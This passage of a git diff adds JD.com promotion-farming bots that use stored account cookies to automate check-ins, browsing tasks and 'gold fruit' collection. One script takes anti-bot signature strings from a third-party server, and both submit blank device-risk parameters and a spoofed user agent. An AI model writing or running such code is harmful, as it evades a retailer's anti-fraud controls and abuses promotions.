s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_mofang.ts b/jd_mofang.ts new file mode 100644 index 0000000..452b38e --- /dev/null +++ b/jd_mofang.ts @@ -0,0 +1,134 @@ +/** + * 京东-新品-魔方 + * rabbit log + * cron: 10 9,12,15 * * * + */ + +import {requireConfig, wait, post, get} from './TS_USER_AGENTS' +import {existsSync} from "fs"; +import * as dotenv from 'dotenv' + +let cookie: string = '', res: any = '', UserName: string, index: number, log: string = '' +let rabbitToken: string = process.env.RABBIT_TOKEN || '', tg_id: string = process.env.TG_ID || '', mf_logs: any + +!(async () => { + dotenv.config() + if (existsSync('./test/mf_log.ts')) { + mf_logs = require('./test/mf_log').mf_logs + } else { + console.log('./test/mf_log not found') + } + let cookiesArr: any = await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + + res = await api("functionId=getInteractionHomeInfo&body=%7B%22sign%22%3A%22u6vtLQ7ztxgykLEr%22%7D&appid=content_ecology&client=wh5&clientVersion=1.0.0") + let sign: string = res.result.taskConfig.projectId + + res = await api(`functionId=queryInteractiveInfo&body=%7B%22encryptProjectId%22%3A%22${sign}%22%2C%22sourceCode%22%3A%22acexinpin0823%22%2C%22ext%22%3A%7B%7D%7D&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + for (let t of res.assignmentList) { + if (t.completionCnt < t.assignmentTimesLimit) { + if (t.ext) { + if (t.assignmentName === '每日签到') { + if (t.ext.sign1.status === 1) { + let signDay: number = t.ext.sign1.signList?.length || 0, + type: number = t.rewards[signDay].rewardType + console.log(signDay, type) + log = await getLog() + res = await api(`functionId=doInteractiveAssignment&body=${JSON.stringify({ + "encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": "1", "actionType": "", "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"} + })}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log('签到成功') + } else { + console.log('已签到') + } + } + + for (let proInfo of t.ext.productsInfo ?? []) { + if (proInfo.status === 1) { + console.log(t.assignmentName) + log = await getLog() + res = await api(`functionId=doInteractiveAssignment&body=${encodeURIComponent(JSON.stringify({"encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 0, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"}}))}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res.msg) + if (res.msg === '任务已完成') { + break + } + } + } + + for (let proInfo of t.ext.shoppingActivity ?? []) { + if (proInfo.status === 1) { + console.log(t.assignmentName) + log = await getLog() + res = await api(`functionId=doInteractiveAssignment&body=${encodeURIComponent(JSON.stringify({"encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 1, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"}}))}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res.msg) + await wait(t.ext.waitDuration * 1000) + log = await getLog() + res = await api(`functionId=doInteractiveAssignment&body=${encodeURIComponent(JSON.stringify({"encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 0, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"}}))}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res.msg) + } + } + + for (let proInfo of t.ext.browseShop ?? []) { + if (proInfo.status === 1) { + console.log(t.assignmentName) + log = await getLog() + res = await api(`functionId=doInteractiveAssignment&body=${JSON.stringify({ + "encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 1, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"} + })}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res.msg) + await wait(t.ext.waitDuration * 1000) + log = await getLog() + res = await api(`functionId=doInteractiveAssignment&body=${JSON.stringify({ + "encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 0, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"} + })}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res.msg) + } + } + + for (let proInfo of t.ext.addCart ?? []) { + if (proInfo.status === 1) { + console.log(t.assignmentName) + log = await getLog() + res = await api(`functionId=doInteractiveAssignment&body=${encodeURIComponent(JSON.stringify({"encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": "0", "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFJGh5"}}))}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res.msg) + if (res.msg === '任务已完成') { + break + } + } + } + } else if (t.assignmentName === '去新品频道逛逛') { + + } + } + } + } +})() + +async function api(params: string) { + await wait(1000) + return await post("https://api.m.jd.com/client.action", params, { + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": "Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1", + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2bf3XEEyWG11pQzPGkKpKX2GxJz2/index.html', + 'Origin': 'https://h5.m.jd.com', + 'Host': 'api.m.jd.com', + 'Cookie': cookie + }) +} + +async function getLog() { + if (rabbitToken && tg_id) { + console.log('rabbit log api') + let {data} = await get(`http://www.madrabbit.cf:8080/license/log?tg_id=${tg_id}&token=${rabbitToken}`) + return `'"random":"${data.random}","log":"${data.log}"'` + } else if (mf_logs) { + return mf_logs[Math.floor(Math.random() * mf_logs.length)] + } else { + console.log('No log') + process.exit(0) + } +} \ No newline at end of file diff --git a/jd_moneyTree.js b/jd_moneyTree.js new file mode 100644 index 0000000..d9ae835 --- /dev/null +++ b/jd_moneyTree.js @@ -0,0 +1,885 @@ +/* +京东摇钱树 :jd_moneyTree.js +更新时间:2021-4-23 +活动入口:京东APP我的-更多工具-摇钱树,[活动链接](https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index/?channel=yxhd) +京东摇钱树支持京东双账号 +注:如果使用Node.js, 需自行安装'crypto-js,got,http-server,tough-cookie'模块. 例: npm install crypto-js http-server tough-cookie got --save +===============Quantumultx=============== +[task_local] +#京东摇钱树 +3 0-23/2 * * * jd_moneyTree.js, tag=京东摇钱树, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyqs.png, enabled=true + +==============Loon=========== +[Script] +cron "3 0-23/2 * * *" script-path=jd_moneyTree.js,tag=京东摇钱树 + +===============Surge=========== +京东摇钱树 = type=cron,cronexp="3 0-23/2 * * *",wake-system=1,timeout=3600,script-path=jd_moneyTree.js + +============小火箭========= +京东摇钱树 = type=cron,script-path=jd_moneyTree.js, cronexpr="3 0-23/2 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('京东摇钱树'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMsg = ``; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +let jdNotify = true;//是否开启静默运行,默认true +let sellFruit = true;//是否卖出金果得到金币,默认'true' +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +let userInfo = null, taskInfo = [], message = '', subTitle = '', fruitTotal = 0; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + //await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await jd_moneyTree(); + } + } + if (allMsg) { + jdNotify = $.isNode() ? (process.env.MONEYTREE_NOTIFY_CONTROL ? process.env.MONEYTREE_NOTIFY_CONTROL : jdNotify) : ($.getdata('jdMoneyTreeNotify') ? $.getdata('jdMoneyTreeNotify') : jdNotify); + if (!jdNotify || jdNotify === 'false') { + if ($.isNode()) await notify.sendNotify($.name, allMsg); + $.msg($.name, '', allMsg) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jd_moneyTree() { + try { + const userRes = await user_info(); + if (!userRes || !userRes.realName) return + await signEveryDay(); + // await dayWork(); + await harvest(); + await sell(); + await myWealth(); + await stealFriendFruit() + + $.log(`\n${message}\n`); + } catch (e) { + $.logErr(e) + } +} + +function user_info() { + console.log('初始化摇钱树个人信息'); + const params = { + "sharePin": "", + "shareType": 1, + "channelLV": "", + "source": 2, + "riskDeviceParam": { + "eid": "", + "fp": "", + "sdkToken": "", + "token": "", + "jstub": "", + "appType": "2", + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); + // await $.wait(5000); //歇口气儿, 不然会报操作频繁 + return new Promise((resolve, reject) => { + $.post(taskurl('login', params), async (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️") + console.log(JSON.stringify(err)); + } else { + if (data) { + const res = JSON.parse(data); + if (res && res.resultCode === 0) { + $.isLogin = true; + console.log('resultCode为0') + if (res.resultData.data) { + userInfo = res.resultData.data; + // userInfo.realName = null; + if (userInfo.realName) { + // console.log(`助力码sharePin为::${userInfo.sharePin}`); + $.treeMsgTime = userInfo.sharePin; + subTitle = `【${userInfo.nick}】${userInfo.treeInfo.treeName}`; + // message += `【我的金果数量】${userInfo.treeInfo.fruit}\n`; + // message += `【我的金币数量】${userInfo.treeInfo.coin}\n`; + // message += `【距离${userInfo.treeInfo.level + 1}级摇钱树还差】${userInfo.treeInfo.progressLeft}\n`; + } else { + $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) + // $.msg($.name, `【提示】京东账号${$.index}${$.UserName}运行失败`, '此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证', {"open-url": "openApp.jdMobile://"}); + } + } + } else { + console.log(`其他情况::${JSON.stringify(res)}`); + } + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(userInfo) + } + }) + }) +} + +function dayWork() { + console.log(`开始做任务userInfo了\n`) + return new Promise(async resolve => { + const data = { + "source": 0, + "linkMissionIds": ["666", "667"], + "LinkMissionIdValues": [7, 7], + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + }; + let response = await request('dayWork', data); + // console.log(`获取任务的信息:${JSON.stringify(response)}\n`) + let canTask = []; + taskInfo = []; + if (response && response.resultCode === 0) { + if (response.resultData.code === '200') { + response.resultData.data.map((item) => { + if (item.prizeType === 2) { + canTask.push(item); + } + if (item.workType === 7 && item.prizeType === 0) { + // missionId.push(item.mid); + taskInfo.push(item); + } + // if (item.workType === 7 && item.prizeType === 0) { + // missionId2 = item.mid; + // } + }) + } + } + console.log(`canTask::${JSON.stringify(canTask)}\n`) + console.log(`浏览任务列表taskInfo::${JSON.stringify(taskInfo)}\n`) + for (let item of canTask) { + if (item.workType === 1) { + // 签到任务 + // let signRes = await sign(); + // console.log(`签到结果:${JSON.stringify(signRes)}`); + if (item.workStatus === 0) { + // const data = {"source":2,"workType":1,"opType":2}; + // let signRes = await request('doWork', data); + let signRes = await sign(); + console.log(`三餐签到结果:${JSON.stringify(signRes)}`); + } else if (item.workStatus === 2) { + console.log(`三餐签到任务已经做过`) + } else if (item.workStatus === -1) { + console.log(`三餐签到任务不在时间范围内`) + } + } else if (item.workType === 2) { + // 分享任务 + if (item.workStatus === 0) { + // share(); + const data = {"source": 0, "workType": 2, "opType": 1}; + //开始分享 + // let shareRes = await request('doWork', data); + let shareRes = await share(data); + console.log(`开始分享的动作:${JSON.stringify(shareRes)}`); + const b = {"source": 0, "workType": 2, "opType": 2}; + // let shareResJL = await request('doWork', b); + let shareResJL = await share(b); + console.log(`领取分享后的奖励:${JSON.stringify(shareResJL)}`) + } else if (item.workStatus === 2) { + console.log(`分享任务已经做过`) + } + } + } + for (let task of taskInfo) { + if (task.mid && task.workStatus === 0 && task.mid !=666 && task.mid !=667) { + console.log('开始做浏览任务'); + // yield setUserLinkStatus(task.mid); + let aa = await setUserLinkStatus(task.mid); + console.log(`aaa${JSON.stringify(aa)}`); + } else if (task.mid && task.workStatus === 1) { + console.log(`workStatus === 1开始领取浏览后的奖励:mid:${task.mid}`); + let receiveAwardRes = await receiveAward(task.mid); + console.log(`领取浏览任务奖励成功:${JSON.stringify(receiveAwardRes)}`) + } else if (task.mid && task.workStatus === 2) { + console.log('所有的浏览任务都做完了') + } + } + resolve(); + }); +} + +function harvest() { + if (!userInfo) return + const data = { + "source": 2, + "sharePin": "", + "userId": userInfo.userInfo, + "userToken": userInfo.userToken, + "shareType": 1, + "channel": "", + "riskDeviceParam": { + "eid": "", + "appType": 2, + "fp": "", + "jstub": "", + "sdkToken": "", + "token": "" + } + } + data.riskDeviceParam = JSON.stringify(data.riskDeviceParam); + return new Promise((rs, rj) => { + request('harvest', data).then((harvestRes) => { + if (harvestRes && harvestRes.resultCode === 0 && harvestRes.resultData.code === '200') { + console.log(`\n收获金果成功:${JSON.stringify(harvestRes)}\n`) + let data = harvestRes.resultData.data; + message += `【距离${data.treeInfo.level + 1}级摇钱树还差】${data.treeInfo.progressLeft}\n`; + fruitTotal = data.treeInfo.fruit; + } else { + console.log(`\n收获金果异常:${JSON.stringify(harvestRes)}`) + } + rs() + // gen.next(); + }) + }) + // request('harvest', data).then((harvestRes) => { + // if (harvestRes.resultCode === 0 && harvestRes.resultData.code === '200') { + // let data = harvestRes.resultData.data; + // message += `【距离${data.treeInfo.level + 1}级摇钱树还差】${data.treeInfo.progressLeft}\n`; + // fruitTotal = data.treeInfo.fruit; + // gen.next(); + // } + // }) +} + +//卖出金果,得到金币 +function sell() { + return new Promise((rs, rj) => { + const params = { + "source": 2, + "jtCount": 7.000000000000001, + "riskDeviceParam": { + "eid": "", + "fp": "", + "sdkToken": "", + "token": "", + "jstub": "", + "appType": 2, + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + console.log(`目前金果数量${fruitTotal}`) + sellFruit = $.isNode() ? (process.env.MONEY_TREE_SELL_FRUIT ? process.env.MONEY_TREE_SELL_FRUIT : `${sellFruit}`) : ($.getdata('MONEY_TREE_SELL_FRUIT') ? $.getdata('MONEY_TREE_SELL_FRUIT') : `${sellFruit}`); + if (sellFruit && sellFruit === 'false') { + console.log(`\n设置的不卖出金果\n`) + rs() + return + } + if (fruitTotal >= 8000 * 7) { + if (userInfo['jtRest'] === 0) { + console.log(`\n今日已卖出5.6万金果(已达上限),获得0.07金贴\n`) + rs() + return + } + request('sell', params).then((sellRes) => { + if (sellRes && sellRes['resultCode'] === 0) { + if (sellRes['resultData']['code'] === '200') { + if (sellRes['resultData']['data']['sell'] === 0) { + console.log(`卖出金果成功,获得0.07金贴\n`); + allMsg += `账号${$.index}:${$.nickName || $.UserName}\n今日成功卖出5.6万金果,获得0.07金贴${$.index !== cookiesArr.length ? '\n\n' : ''}` + } else { + console.log(`卖出金果失败:${JSON.stringify(sellRes)}\n`) + } + } + } + rs() + }) + } else { + console.log(`当前金果数量不够兑换 0.07金贴\n`); + rs() + } + // request('sell', params).then(response => { + // rs(response); + // }) + }) + // request('sell', params).then((sellRes) => { + // console.log(`卖出金果结果:${JSON.stringify(sellRes)}\n`) + // gen.next(); + // }) +} + +//获取金币和金果数量 +function myWealth() { + return new Promise((resolve) => { + const params = { + "source": 2, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + request('myWealth', params).then(res => { + if (res && res.resultCode === 0 && res.resultData.code === '200') { + console.log(`金贴和金果数量::${JSON.stringify(res)}`); + message += `【我的金果数量】${res.resultData.data.gaAmount}\n`; + message += `【我的金贴数量】${res.resultData.data.gcAmount / 100}\n`; + } + resolve(); + }) + }); +} + +function sign() { + console.log('开始三餐签到') + const data = {"source": 2, "workType": 1, "opType": 2}; + return new Promise((rs, rj) => { + request('doWork', data).then(response => { + rs(response); + }) + }) +} + +function signIndex() { + const params = { + "source": 0, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('signIndex', params).then(response => { + rs(response); + }) + }) +} + +function signEveryDay() { + return new Promise(async (resolve) => { + try { + let signIndexRes = await signIndex(); + if (signIndexRes.resultCode === 0) { + console.log(`每日签到条件查询:${signIndexRes.resultData.data.canSign === 2 ? '可以签到' : '已经签到过了'}`); + if (signIndexRes.resultData && signIndexRes.resultData.data.canSign == 2) { + console.log('准备每日签到') + let signOneRes = await signOne(signIndexRes.resultData.data.signDay); + console.log(`第${signIndexRes.resultData.data.signDay}日签到结果:${JSON.stringify(signOneRes)}`); + if (signIndexRes.resultData.data.signDay === 7) { + let getSignAwardRes = await getSignAward(); + console.log(`店铺券(49-10)领取结果:${JSON.stringify(getSignAwardRes)}`) + if (getSignAwardRes.resultCode === 0 && getSignAwardRes.data.code === 0) { + message += `【7日签到奖励领取】${getSignAwardRes.datamessage}\n` + } + } + } + } + } catch (e) { + $.logErr(e); + } finally { + resolve() + } + }) +} + +function signOne(signDay) { + const params = { + "source": 0, + "signDay": signDay, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('signOne', params).then(response => { + rs(response); + }) + }) +} + +// 领取七日签到后的奖励(店铺优惠券) +function getSignAward() { + const params = { + "source": 2, + "awardType": 2, + "deviceRiskParam": 1, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('getSignAward', params).then(response => { + rs(response); + }) + }) +} + +// 浏览任务 +async function setUserLinkStatus(missionId) { + let index = 0; + do { + const params = { + "missionId": missionId, + "pushStatus": 1, + "keyValue": index, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + let response = await request('setUserLinkStatus', params) + console.log(`missionId为${missionId}::第${index + 1}次浏览活动完成: ${JSON.stringify(response)}`); + // if (resultCode === 0) { + // let sportRevardResult = await getSportReward(); + // console.log(`领取遛狗奖励完成: ${JSON.stringify(sportRevardResult)}`); + // } + index++; + } while (index < 7) //不知道结束的条件,目前写死循环7次吧 + console.log('浏览店铺任务结束'); + console.log('开始领取浏览后的奖励'); + let receiveAwardRes = await receiveAward(missionId); + console.log(`领取浏览任务奖励成功:${JSON.stringify(receiveAwardRes)}`) + return new Promise((resolve, reject) => { + resolve(receiveAwardRes); + }) + // gen.next(); +} + +// 领取浏览后的奖励 +function receiveAward(mid) { + if (!mid) return + mid = mid + ""; + const params = { + "source": 0, + "workType": 7, + "opType": 2, + "mid": mid, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('doWork', params).then(response => { + rs(response); + }) + }) +} + +function share(data) { + if (data.opType === 1) { + console.log(`开始做分享任务\n`) + } else { + console.log(`开始做领取分享后的奖励\n`) + } + return new Promise((rs, rj) => { + request('doWork', data).then(response => { + rs(response); + }) + }) +} + +async function stealFriendFruit() { + await friendRank(); + if ($.friendRankList && $.friendRankList.length > 0) { + const canSteal = $.friendRankList.some((item) => { + const boxShareCode = item.steal + return (boxShareCode === true); + }); + if (canSteal) { + $.amount = 0; + for (let item of $.friendRankList) { + if (!item.self && item.steal) { + await friendTreeRoom(item.encryPin); + const stealFruitRes = await stealFruit(item.encryPin, $.friendTree.stoleInfo); + if (stealFruitRes && stealFruitRes.resultCode === 0 && stealFruitRes.resultData.code === '200') { + $.amount += stealFruitRes.resultData.data.amount; + } + } + } + message += `【偷取好友金果】共${$.amount}个\n`; + } else { + console.log(`今日已偷过好友的金果了,暂无好友可偷,请明天再来\n`) + } + } else { + console.log(`您暂无好友,故跳过`); + } +} + +//获取好友列表API +async function friendRank() { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + const params = { + "source": 2, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + return new Promise((resolve, reject) => { + $.post(taskurl('friendRank', params), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + $.friendRankList = data.resultData.data; + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve() + } + }) + }) +} + +// 进入好友房间API +async function friendTreeRoom(friendPin) { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + const params = { + "source": 2, + "friendPin": friendPin, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + return new Promise((resolve, reject) => { + $.post(taskurl('friendTree', params), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + $.friendTree = data.resultData.data; + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve() + } + }) + }) +} + +//偷好友金果API +async function stealFruit(friendPin, stoleId) { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + const params = { + "source": 2, + "friendPin": friendPin, + "stoleId": stoleId, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + return new Promise((resolve, reject) => { + $.post(taskurl('stealFruit', params), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + 